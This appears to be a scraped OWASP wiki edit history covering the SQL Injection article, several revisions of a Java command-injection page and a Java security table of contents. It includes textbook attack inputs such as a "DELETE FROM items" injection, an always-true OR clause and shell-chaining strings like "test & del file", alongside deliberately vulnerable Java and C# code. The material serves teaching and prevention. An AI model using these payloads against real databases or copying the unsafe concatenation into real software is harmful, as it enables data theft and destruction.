* [http://www.nosec.org/en/pangolin.html Pangolin Amazing SQL INJECTION World] - An Amazing SQL Injection Scanner.<br />
[[Category:Injection Attack]]<br />
[[category:Attack]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=SQL_Injection&diff=68228SQL Injection2009-08-30T12:09:42Z<p>Neil Bergman: /* Example 3 */</p>
<hr />
<div>{{Template:Attack}}<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:Security Focus Area]]<br />
__NOTOC__<br><br><br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
== Overview ==<br />
A [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. <br />
SQL injection attacks are a type of [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.<br />
<br />
==Threat Modeling==<br />
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. <br />
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. <br />
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.<br />
<br />
==Related Security Activities==<br />
<br />
===How to Avoid SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.<br><br />
See the OWASP [[SQL Injection Prevention Cheat Sheet]].<br />
<br />
===How to Review Code for SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.<br />
<br />
===How to Test for SQL Injection Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.<br />
<br />
==Description==<br />
SQL injection errors occur when:<br />
<br />
# Data enters a program from an untrusted source. <br />
# The data used to dynamically construct a SQL query <br />
<br />
The main consequences are:<br />
<br />
* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.<br />
<br />
* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.<br />
<br />
* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.<br />
<br />
* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.<br />
<br />
== Risk Factors==<br />
The platform affected can be:<br />
* Language: SQL<br />
* Platform: Any (requires interaction with a SQL database)<br />
<br />
[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. <br />
<br />
Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.<br />
<br />
== Examples ==<br />
<br />
===Example 1===<br />
<br />
In SQL:<br />
<br />
<pre><br />
select id, firstname, lastname from authors<br />
</pre><br />
<br />
If one provided:<br />
<br />
<pre><br />
Firstname: evil'ex<br />
Lastname: Newman<br />
</pre><br />
<br />
the query string becomes:<br />
<br />
<pre><br />
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'<br />
which the database attempts to run as <br />
</pre><br />
<br />
<pre><br />
Incorrect syntax near al' as the database tried to execute evil. <br />
</pre><br />
<br />
A safe version of the above SQL statement could be coded in Java as:<br />
<br />
<pre><br />
String firstname = req.getParameter("firstname");<br />
String lastname = req.getParameter("lastname");<br />
// FIXME: do your own validation to detect attacks<br />
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";<br />
PreparedStatement pstmt = connection.prepareStatement( query );<br />
pstmt.setString( 1, firstname );<br />
pstmt.setString( 2, lastname );<br />
try<br />
{<br />
ResultSet results = pstmt.execute( );<br />
}<br />
</pre><br />
<br />
===Example 2===<br />
<br />
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.<br />
<br />
<pre><br />
...<br />
string userName = ctx.getAuthenticatedUserName();<br />
string query = "SELECT * FROM items WHERE owner = "'" <br />
+ userName + "' AND itemname = '" <br />
+ ItemName.Text + "'";<br />
sda = new SqlDataAdapter(query, conn);<br />
DataTable dt = new DataTable();<br />
sda.Fill(dt);<br />
...<br />
</pre><br />
<br />
The query that this code intends to execute follows:<br />
<br />
<pre><br />
SELECT * FROM items<br />
WHERE owner = <br />
AND itemname = ;<br />
</pre><br />
<br />
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:<br />
<br />
<pre><br />
SELECT * FROM items<br />
WHERE owner = 'wiley'<br />
AND itemname = 'name' OR 'a'='a';<br />
</pre><br />
<br />
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:<br />
<br />
<pre><br />
SELECT * FROM items;<br />
</pre><br />
<br />
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.<br />
<br />
===Example 3===<br />
<br />
This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string "name'; DELETE FROM items; --" for itemName, then the query becomes the following two queries:<br />
<br />
<pre><br />
SELECT * FROM items <br />
WHERE owner = 'hacker'<br />
AND itemname = 'name';<br />
<br />
DELETE FROM items;<br />
<br />
--'<br />
</pre><br />
<br />
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.<br />
<br />
Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a'", the following three valid statements will be created:<br />
<br />
<pre><br />
SELECT * FROM items <br />
WHERE owner = 'hacker'<br />
AND itemname = 'name';<br />
<br />
DELETE FROM items;<br />
<br />
SELECT * FROM items WHERE 'a'='a';<br />
</pre><br />
<br />
One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:<br />
<br />
* Target fields that are not quoted <br />
* Find ways to bypass the need for certain escaped meta-characters <br />
* Use stored procedures to hide the injected meta-characters <br />
<br />
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.<br />
<br />
Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.<br />
<br />
<pre><br />
procedure get_item (<br />
itm_cv IN OUT ItmCurTyp,<br />
usr in varchar2,<br />
itm in varchar2)<br />
is<br />
open itm_cv for ' SELECT * FROM items WHERE ' ||<br />
'owner = '''|| usr || <br />
' AND itemname = ''' || itm || '''';<br />
end get_item;<br />
</pre><br />
<br />
Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.<br />
<br />
==Related [[Threat Agents]]==<br />
* [[:Category:Command Execution]] <br />
* [[Injection problem]]<br />
<br />
==Related [[Attacks]]==<br />
* [[Top 10 2007-Injection Flaws | injection attack]]<br />
* [[Blind SQL Injection]]<br />
* [[Code Injection]]<br />
* [[Double Encoding]]<br />
* [[Interpreter_Injection#ORM_Injection]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category:Input Validation Vulnerability]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Static Code Analysis]]<br />
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?<br />
Avoidance and mitigation <br />
<br />
* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.<br />
<br />
* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.<br />
<br />
* Image:Advanced Topics on SQL Injection Protection.ppt<br />
]]<br />
<br />
==References ==<br />
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.<br />
* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.<br />
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.<br />
* [http://www.nosec.org/en/pangolin.html Pangolin Amazing SQL INJECTION World] - An Amazing SQL Injection Scanner.<br />
[[Category:Injection Attack]]<br />
[[category:Attack]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&diff=68136OWASP Java Table of Contents2009-08-28T01:17:47Z<p>Neil Bergman: </p>
<hr />
<div><b>Key:</b><br />
* xx%: Progress status of the paragraph<br />
* <b>Review</b>: The paragraph needs a review<br />
* TD: Paragraph to be assigned<br />
<br />
==[[J2EE Security for Architects]]==<br />
Discuss the security implications of common J2EE architectures. This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection. Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.<br />
<br />
Any other security concerns that should be addressed during the design phase should also be mentioned here.<br />
===Design considerations===<br />
* Architectural considerations (0%, TD)<br />
** EJB Middle tier (0%, TD)<br />
** Web Services Middle tier (0%, TD)<br />
** Spring Middle tier (0%, TD)<br />
<br />
==[[J2EE Security for Developers]]==<br />
=== Noteworthy Frameworks ===<br />
Discuss important and relevant Java security frameworks that would be useful to architects. The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.<br />
<br />
(0%, Seeking Volunteers)<br />
* Cocoon<br />
* [[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)<br />
* JSecurity<br />
* SiteMesh<br />
* Spring (0%, Adrian San Juan, TD)<br />
* [[Struts]] (0% Jon Forck)<br />
* Tapestry<br />
* Tiles<br />
* Turbine<br />
* Webwork<br />
* [[Wicket]]<br />
<br />
===Java Security Basics===<br />
Provide an introduction into the basic security services provided by the Java language and environment. Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.<br />
* Class Loading (0%, Philippe Clairet)<br />
* Bytecode verifier (0%, Philippe Clairet)<br />
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)<br />
<br />
===Input Validation Overview ===<br />
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. <br />
<br />
===Input Validation ===<br />
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)<br />
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)<br />
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)<br />
<br />
==== [[Preventing SQL Injection in Java]] ====<br />
* Overview <br />
* Prevention (60%, Stephen de Vries, <b>Review</b>)<br />
** White Listing<br />
** Prepared Statements<br />
** Stored Procedures <br />
** Hibernate <br />
** Ibatis (60%, Rohyt Belani, <b>Review</b>)<br />
** Spring JDBC <br />
** EJB 3.0<br />
** JDO<br />
<br />
==== [[Preventing LDAP Injection in Java]] ====<br />
* Overview (100%, Stephen de Vries, Complete)<br />
* Prevention (100%, Stephen de Vries, Complete)<br />
<br />
==== [[XPATH Injection]] ====<br />
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.<br />
* Overview (0%, TD)<br />
* Prevention (0%, TD)<br />
<br />
==== [[Miscellaneous Injection Attacks]] ====<br />
* HTTP Response splitting (0%, TD)<br />
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)<br />
* Regular Expression (regex) Injections (20%)<br />
<br />
''' Status '''<br />
In progress<br />
<br />
=== Authentication===<br />
* [[Storing credentials]] - (20%, Adrian San Juan, <b>Review</b>)<br />
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, <b>Review</b>)<br />
* [[SSL Best Practices]] - (20%, Philippe Curmin, <b>Review</b>)<br />
* [[Using JCaptcha]] - (100%, Dave Ferguson, <b>Review</b>) <br />
* Container-managed authentication with Realms<br />
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)<br />
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[Password length & complexity]] - (100%, Adrian San Juan, <b>Review</b>)<br />
<br />
===Session Management ===<br />
The generic problems and solutions for session management are covered in the Guide. This section should focus on Java specific examples.<br />
* Logout (0%, TD)<br />
* Session Timeout (0%, TD)<br />
* Absolute Timeout (0%, TD)<br />
* [[Session Fixation in Java]] (100%, Rohyt Belani, <b>Review</b>)<br />
* Terminating sessions (0%, TD)<br />
** Terminating sessions when the browser window is closed<br />
<br />
===Authorization===<br />
* [[Declarative v/s Programmatic]] (10%, TD)<br />
* EJB Authorization (0%, TD)<br />
* Acegi (0%, TD)<br />
* JACC (0%, TD)<br />
* Check horizontal privilege (0%, TD)<br />
<br />
=== Encryption===<br />
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* Storing db secrets (0%, TD)<br />
* Encrypting JDBC connections (0%, TD)<br />
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)<br />
<br />
=== Error Handling & Logging===<br />
* Logging - why log? what to log? log4j, etc. (0%, TD)<br />
* Exception handling techniques (0%, TD)<br />
** fail-open/fail-closed<br />
** resource cleanup<br />
** finally block<br />
** swallowing exceptions<br />
* Exception handling frameworks (50%, TD)<br />
** Servlet spec - web.xml <br />
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)<br />
** JSP errorPage (0%, TD)<br />
* Web application forensics (0%, TD)<br />
<br />
=== Web Services Security ===<br />
* SAML (0%, TD)<br />
* (X)WS-Security (0%, TD)<br />
* SunJWSDP (0%, TD)<br />
* WSS4J (0%, Eelco Klaver)<br />
* XML Signature (JSR 105) (0%, TD)<br />
* XML Encryption (JSR 106) (0%, TD)<br />
<br />
=== Code Analysis Tools ===<br />
The introduction should cover the advantages and short comings of code analysis tools. An overview of the current state of the art and the available tools would go well here. As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.<br />
* Introduction (0%, TD)<br />
* [[:Category:OWASP LAPSE Project]] (100%, <b>Review</b>)<br />
* FindBugs (0%, TD)<br />
** Creating custom rules<br />
* PMD (0%, TD)<br />
** Creating custom rules<br />
* JLint (0%, TD)<br />
* Jmetrics (0%, TD)<br />
<br />
== J2EE Security For Deployers ==<br />
Practical step-by-step guides to securing various J2EE servers. Examples of secure configurations can also be provided for download. If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained. Users of the configurations should be provided with enough information to make their own risk decisions.<br />
=== Securing Popular J2EE Servers ===<br />
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)<br />
* Securing JBoss (0%, TD)<br />
* Securing WebLogic (0%, TD)<br />
* Securing WebSphere (0%, TD)<br />
* Others...<br />
<br />
=== Defining a Java Security Policy ===<br />
Practical information on creating a Java security policies for J2EE servers.<br />
* PolicyTool - JChains already provides this functionality, one policy tool is enough.<br />
* jChains (www.jchains.org) - (0%, TD)<br />
<br />
=== Protecting Binaries ===<br />
* Bytecode manipulation tools and techniques (0%, TD)<br />
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)<br />
* Convert bytecode to native machine code (0%, TD)<br />
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)<br />
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)<br />
<br />
==J2EE Security for Security Analysts and Testers==<br />
* Using Eclipse to verify Java applications (0%, TD)<br />
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)<br />
* Decompiling Java bytecode (0%, TD)<br />
<br />
== [[Java Security Resources]] (ongoing)==<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Command_injection_in_Java&diff=68135Command injection in Java2009-08-28T01:10:34Z<p>Neil Bergman: </p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application. The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell. In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work. Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to control the arguments to the Window's ''find'' command. While the user does have full control over the arguments, it is not possible to inject additional commands. For example, inputting “test & del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&”, “del”, and “file.”<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
Process proc = runtime.exec("find" + " " + args[0]);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
===Example 2===<br />
<br />
The code below invokes the system shell in order to execute a non-executable command using user input as parameters. Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec. In this case, command injection is possible and an attacker could chain multiple commands together. For example, inputting “. & echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message.<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
String[] cmd = new String[3];<br />
cmd[0] = "cmd.exe" ;<br />
cmd[1] = "/C";<br />
cmd[2] = "dir " + args[0];<br />
Process proc = runtime.exec(cmd);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
==Best Practices ==<br />
<br />
Developers should avoid invoking the shell using Runtime.exec in order to call operating system specific commands and should use Java APIs instead. For example, instead of calling ''ls'' or ''dir'' from the shell use the Java File class and the list function. If it is necessary to accept user input and pass it to Runtime.exec, then use regular expressions to validate the input.<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Command_injection_in_Java&diff=68134Command injection in Java2009-08-28T01:07:56Z<p>Neil Bergman: </p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application. The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell. In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work. Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to control the arguments to the Window's ''find'' command. While the user does have full control over the arguments, it is not possible to inject additional commands. For example, inputting “test & del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&”, “del”, and “file.”<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
Process proc = runtime.exec("find" + " " + args[0]);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
===Example 2===<br />
<br />
The code below invokes the system shell in order to execute a non-executable command using user input as parameters. Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec. In this case, command injection is possible and an attacker could chain multiple commands together. For example, inputting “. & echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message.<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
String[] cmd = new String[3];<br />
cmd[0] = "cmd.exe" ;<br />
cmd[1] = "/C";<br />
cmd[2] = "dir " + args[0];<br />
Process proc = runtime.exec(cmd);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
==Best Practices ==<br />
<br />
Developers should avoid invoking the shell using Runtime.exec in order to call operating system specific commands and should use Java APIs instead. For example, instead of calling ''ls'' or ''dir'' from the shell use the Java File class and the list function. If it is necessary to accept user input and pass it to Runtime.exec, then use a regular expressions to validate the input.<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Command_injection_in_Java&diff=67396Command injection in Java2009-08-09T16:33:08Z<p>Neil Bergman: Created page with '==Status== In DRAFT ==Overview== Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application. The commands execute at the same p…'</p>
<hr />
<div>==Status==<br />
In DRAFT<br />
<br />
==Overview==<br />
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application. The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell. In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work. Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to control the arguments to the Window's ''find'' command. While the user does have full control over the arguments, it is not possible to inject additional commands. For example, inputting “test & del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&”, “del”, and “file.”<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
Process proc = runtime.exec("find" + " " + args[0]);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
===Example 2===<br />
<br />
The code below invokes the system shell in order to execute a non-executable command using user input as parameters. Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec. In this case, command injection is possible and an attacker could chain multiple commands together. For example, inputting “. & echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message. Developers should avoid invoking the shell using Runtime.exec and should use Java APIs instead.<br />
<br />
<pre><br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args)<br />
throws IOException {<br />
if(args.length != 1) {<br />
System.out.println("No arguments");<br />
System.exit(1);<br />
}<br />
Runtime runtime = Runtime.getRuntime();<br />
String[] cmd = new String[3];<br />
cmd[0] = "cmd.exe" ;<br />
cmd[1] = "/C";<br />
cmd[2] = "dir " + args[0];<br />
Process proc = runtime.exec(cmd);<br />
<br />
InputStream is = proc.getInputStream();<br />
InputStreamReader isr = new InputStreamReader(is);<br />
BufferedReader br = new BufferedReader(isr);<br />
<br />
String line;<br />
while ((line = br.readLine()) != null) {<br />
System.out.println(line);<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&diff=67395OWASP Java Table of Contents2009-08-09T16:30:36Z<p>Neil Bergman: </p>
<hr />
<div><b>Key:</b><br />
* xx%: Progress status of the paragraph<br />
* <b>Review</b>: The paragraph needs a review<br />
* TD: Paragraph to be assigned<br />
<br />
==[[J2EE Security for Architects]]==<br />
Discuss the security implications of common J2EE architectures. This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection. Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.<br />
<br />
Any other security concerns that should be addressed during the design phase should also be mentioned here.<br />
===Design considerations===<br />
* Architectural considerations (0%, TD)<br />
** EJB Middle tier (0%, TD)<br />
** Web Services Middle tier (0%, TD)<br />
** Spring Middle tier (0%, TD)<br />
<br />
==[[J2EE Security for Developers]]==<br />
=== Noteworthy Frameworks ===<br />
Discuss important and relevant Java security frameworks that would be useful to architects. The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.<br />
<br />
(0%, Seeking Volunteers)<br />
* Cocoon<br />
* [[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)<br />
* JSecurity<br />
* SiteMesh<br />
* Spring (0%, Adrian San Juan, TD)<br />
* [[Struts]] (0% Jon Forck)<br />
* Tapestry<br />
* Tiles<br />
* Turbine<br />
* Webwork<br />
* [[Wicket]]<br />
<br />
===Java Security Basics===<br />
Provide an introduction into the basic security services provided by the Java language and environment. Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.<br />
* Class Loading (0%, Philippe Clairet)<br />
* Bytecode verifier (0%, Philippe Clairet)<br />
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)<br />
<br />
===Input Validation Overview ===<br />
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. <br />
<br />
===Input Validation ===<br />
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)<br />
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)<br />
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)<br />
<br />
==== [[Preventing SQL Injection in Java]] ====<br />
* Overview <br />
* Prevention (60%, Stephen de Vries, <b>Review</b>)<br />
** White Listing<br />
** Prepared Statements<br />
** Stored Procedures <br />
** Hibernate <br />
** Ibatis (60%, Rohyt Belani, <b>Review</b>)<br />
** Spring JDBC <br />
** EJB 3.0<br />
** JDO<br />
<br />
==== [[Preventing LDAP Injection in Java]] ====<br />
* Overview (100%, Stephen de Vries, Complete)<br />
* Prevention (100%, Stephen de Vries, Complete)<br />
<br />
==== [[XPATH Injection]] ====<br />
